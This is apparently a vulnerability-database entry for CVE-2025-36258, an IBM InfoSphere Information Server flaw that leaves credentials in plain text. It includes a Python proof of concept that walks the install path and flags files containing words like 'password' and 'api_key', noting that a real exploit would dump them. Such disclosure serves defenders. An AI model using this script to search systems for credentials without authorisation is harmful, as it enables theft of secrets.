IBM InfoSphere Information Server 11.7.0.0 through 11.7.1.6 product stores user credentials and other sensitive information in plain text which can be read by a local user.
cpe:2.3:o:ibm:aix:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
IBM InfoSphere Information Server 11.7.0.0 - 11.7.1.6
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2025-36258: Information Disclosure via Plaintext Storage
# This script simulates scanning local configuration files for plaintext credentials.
import os
def scan_config_files(directory):
"""
Scans a directory for files containing potential plaintext credentials.
"""
print(f"[*] Scanning directory: {directory}")
sensitive_keywords = ["password", "passwd", "credential", "secret", "api_key"]
for root, dirs, files in os.walk(directory):
for file in files:
file_path = os.path.join(root, file)
try:
with open(file_path, 'r', errors='ignore') as f:
content = f.read()
for keyword in sensitive_keywords:
if keyword in content.lower():
print(f"[!] Found potential sensitive keyword '{keyword}' in: {file_path}")
# In a real exploit, the content would be dumped here
break
except Exception as e:
pass
if __name__ == "__main__":
# Replace with the actual installation path of IBM InfoSphere Information Server
target_path = "/opt/IBM/InformationServer"
if os.path.exists(target_path):
scan_config_files(target_path)
else:
print(f"Target path {target_path} not found. This is a simulation PoC.")